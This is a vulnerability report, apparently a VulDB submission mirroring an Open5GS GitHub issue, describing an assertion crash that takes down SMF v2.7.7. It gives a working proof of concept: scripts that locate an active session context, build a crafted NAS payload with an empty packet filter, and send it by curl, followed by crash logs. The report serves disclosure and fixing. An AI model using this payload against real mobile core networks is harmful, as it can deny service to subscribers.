Submit #808488: Open5gs SMF v2.7.7 Denial of Service

### Open5GS Release, Revision, or Tag

v2.7.7

### Steps to reproduce

### Description

SMF crashes when a `PDU Session Modification Request` delivered through
`SmContextUpdateData.n1SmMsg` carries a syntactically valid
`requested_qos_rules` IE whose packet filter list contains one packet filter
with `content.length = 0`.

`ogs_nas_parse_qos_rules()` accepts the rule and leaves
`rule->pf[i].content.num_of_component = 0`. Later
`gsm_handle_pdu_session_modification_qos_rules()` allocates a packet filter and
asserts that reconfiguration produced at least one component:

```c
pf = smf_pf_add(qos_flow);
ogs_assert(pf);

ogs_assert(reconfigure_packet_filter(pf, &qos_rule[i], i) > 0);
```

For an empty packet-filter content, `reconfigure_packet_filter()` returns `0`,
so the assertion aborts the SMF process.

This issue is distinct from the `invalid bitrate unit` bug above: that one is
in QoS flow description bitrate conversion, while this one is an assert on the
QoS rule packet-filter business logic.

### Steps to reproduce

1. Start the Docker lab and ensure `smf` and `smf-audit-ue` are running.
2. Resolve the current SMF container IP and an active `smContextRef`:

```bash
SMF_IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' smf)
docker restart smf-audit-ue >/dev/null
sleep 3

REF=$(
for i in $(seq 1 30); do
code=$(curl --http2-prior-knowledge -m 5 -sS -o /tmp/probe.body -w '%{http_code}' \
-X POST "http://$SMF_IP/nsmf-pdusession/v1/sm-contexts/$i/modify" \
-H 'Content-Type: application/json' \
--data '{"hoState":"COMPLETED"}')
if [ "$code" != 404 ]; then
echo "$i"
break
fi
done
)
echo "SMF_IP=$SMF_IP REF=$REF"
```

3. Prepare a multipart `SmContextUpdateData` with only `n1SmMsg`, using the
malicious NAS payload below. The payload is a `PDU Session Modification
Request` whose `requested_qos_rules` uses
`MODIFY_EXISTING_QOS_RULE_AND_ADD_PACKET_FILTERS`, but the only packet filter
has `content.length = 0`:

```bash
python3 - <<'PY'
from pathlib import Path
import json

boundary = 'REQBOUNDARY'
body = {'n1SmMsg': {'contentId': '5gnas-sm'}}
n1 = bytes.fromhex('2e0101c97a00080100056120000f01')

parts = []
parts.append(
(f'--{boundary}\r\nContent-Type: application/json\r\n\r\n'.encode()) +
json.dumps(body, separators=(',', ':')).encode() + b'\r\n'
)
parts.append(
(f'--{boundary}\r\nContent-Id: 5gnas-sm\r\n'
f'Content-Type: application/vnd.3gpp.5gnas\r\n\r\n'.encode()) +
n1 + b'\r\n'
)
parts.append(f'--{boundary}--\r\n'.encode())

Path('/tmp/smctx_modify_empty_pf.multipart').write_bytes(b''.join(parts))
PY
```

4. Send the request:

```bash
curl --http2-prior-knowledge -m 10 -sS -i \
-X POST "http://$SMF_IP/nsmf-pdusession/v1/sm-contexts/$REF/modify" \
-H 'Content-Type: multipart/related; boundary=REQBOUNDARY' \
--data-binary @/tmp/smctx_modify_empty_pf.multipart
```

5. Check the SMF process state and logs:

```bash
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' smf
docker logs --tail 120 smf
```

### Logs

```shell
Client side:

curl: (56) Recv failure: Connection reset by peer

SMF state:

exited 139 2026-04-11T07:54:37.832480109Z

SMF log:

04/11 07:54:37.740: [gsm] FATAL: gsm_handle_pdu_session_modification_qos_rules: Assertion `reconfigure_packet_filter(pf, &qos_rule[i], i) > 0' failed. (../src/smf/gsm-handler.c:274)
```

### Expected behaviour

SMF should reject QoS rules whose packet filter content is empty and return a
normal protocol error for that request.

### Observed Behaviour

The crafted `n1SmMsg` aborts the entire SMF process before any HTTP response is
completed, resetting the client connection and terminating the SMF container
with exit code `139`.

### eNodeB/gNodeB

Not required.

### UE Models and versions

Not required.

• Quelle: ⚠️ https://github.com/open5gs/open5gs/issues/4451
• Benutzer: FrankLin (UID 97501)
• Einreichung: 20.04.2026 21:22 (vor 1 Monat)
• Moderieren: 10.05.2026 17:44 (20 days later)
• Status: Akzeptiert
• VulDB Eintrag: 362567 [Open5GS bis 2.7.7 SMF ogs_nas_parse_qos_rules Denial of Service]
• Punkte: 20